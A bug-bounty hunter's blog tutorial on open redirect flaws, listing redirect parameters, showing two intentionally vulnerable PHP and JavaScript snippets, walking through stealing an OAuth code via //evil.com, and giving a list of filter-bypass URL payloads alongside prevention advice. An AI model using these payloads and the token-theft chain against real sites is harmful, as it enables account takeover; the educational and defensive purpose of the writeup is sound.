Open Redirect: Just a redirection?
Greetings, everyone! i’m back with a new article after a long absence. In this writeup, i will attempt to explain everything i know about open redirect. I recently discovered an open redirect on a private program and successfully exploited it to gain access to the account of the victim. I though I’d let the community know that an open redirect isn’t only the way to lead a victim to a phishing site with the help of this article.
What is Open Redirect?
When a web application or server utilizes an unvalidated user-submitted link to redirect the user to a specific website or page, this is known as an open redirection.
Where to find Open Redirect?
Here are some of the possible parameters for open redirect (You may use them to FUZZ , Google Dork or manually look):
- “go”
- “return”
- “r_url”
- “returnUrl”
- “returnUri”
- “locationUrl”
- “goTo”
- “return_url”
- “return_uri”
- “ref=”
- “referrer=”
- “backUrl”
- “returnTo”
- “successUrl”
In order to better understand it, let’s have a look at a particularly weak spot in the codebase.
Vulnerable code #1:
<?php$redirect_url = $_GET['url'];echo "pass me url to get redirected";header("Location: " . $redirect_url);?>
Here, the parameter “url” is directly passed to the header Location to redirect the user to the value of url parameter.That is why the server redirects user to URL passed through the url parameter.
As you can see above, you will get redirected towards evil.com if you pass the value //evil.com to the parameter “url”.
Account Takeover scenario:
Suppose your target have Oauth configuration, then when a user authenticates with his/her credentials, the URL may look like this:
https://example.com/v1/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=example.com/callbackredirect_uri=CALLBACK_URL: where the service redirects the user after an authorization code is granted.
When authenticating via oauth the final destination with the token is handled by return_uri= In the above example, the site will return to https://www.example.com/callback along with a ?code=, defined in response_type=code. , so if you are able to redirect to a site you control, you will be able to leak the token. Most Oauth setups will whitelist *.theirdomain.com/*. We can bypass this by abusing the open redirect we found before. (workflow is same but the parameters may vary)
Abusing Open redirect to steal access_token:
- We can send the user to the following:
https://example.com/v1/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://www.example.com/redirect?url=//evil.com(Since the example.com is whitelisted, it will accept this as redirect_uri) - The user will authenticate and the token will be generated.
3. The web application redirects to https://www.example.com/redirect?url=//evil.com?code=secret
4. The web application redirects to //evil.com?code=secret
5. Now, since you got the code parameter on your server, you can use the code to login to the victim’s account.
Abusing Open Redirect to bypass SSRF filter:
Open redirect is something that is often used to bypass filters . Imagine that you have a service that are allowed to access content from a specific domain, but that domain could redirect anywhere. Then an attacker can enter the allowed server, and from there go anywhere.
Vulnerable Code #2
<html>
<script>
let url = new URL(window.location);
let searchParams = new URLSearchParams(url.search);
c=searchParams.get('url');
top.location.href=c;
</script>
<h1>Demo Open Redirect to XSS</h1>
</html>Now, i assume you can already sense about the open Redirect as the parameter url is taken from the window.location and is used to redirect to url which is passed.
Abusing Open Redirect for XSS:
Since it is redirecting to url passed through url parameter, As url is not sanitized and used inside script tag, it is possible to inject javascript code on the url parameter and get execute the malicious javascript code to gain XSS.
Preventions:
Processing unvalidated user inputs, particularly URL query strings, is the most common cause of open redirection. When possible, avoid user-controllable data in URLs and carefully sanitize it when it must be used to reduce the possibility of undesired redirects. Whitelisting all permissible target locations and redirecting all other values to a default location is a good idea. Another option is to produce a unique ID for each redirect target, eliminating the URL’s user-controllable names. You can further decrease the possibility of token leaks by restricting referrer URL visibility with a proper Referrer-Policy header.
Common Bypasses:
- \/yoururl.com
- \/\/yoururl.com
- \\yoururl.com
- //yoururl.com
- //theirsite@yoursite.com
- /\/yoursite.com
- https://yoursite.com%3F.theirsite.com/
- https://yoursite.com%2523.theirsite.com/
- https://yoursite?c=.theirsite.com/
- https://yoursite.com#.theirsite.com/
- https://yoursite.com\.thersite.com/
- //%2F/yoursite.com
- ////yoursite.com
- https://theirsite.computer/
I reported open redirect and it got rejected?
Not always being able to redirect a user to another domain will be a valid vulnerability until you can escalate it to show some serious impact on the target.
Some publicly Disclosed HackerOne Reports:
https://hackerone.com/reports/26962
https://hackerone.com/reports/55525
https://hackerone.com/reports/469803
Learn More Here: BugBountyHunter, PayloadAllThings, PortSwigger
Ping Me up if you have any Doubts: https://twitter.com/GhimireVeshraj
Bye until Next time.
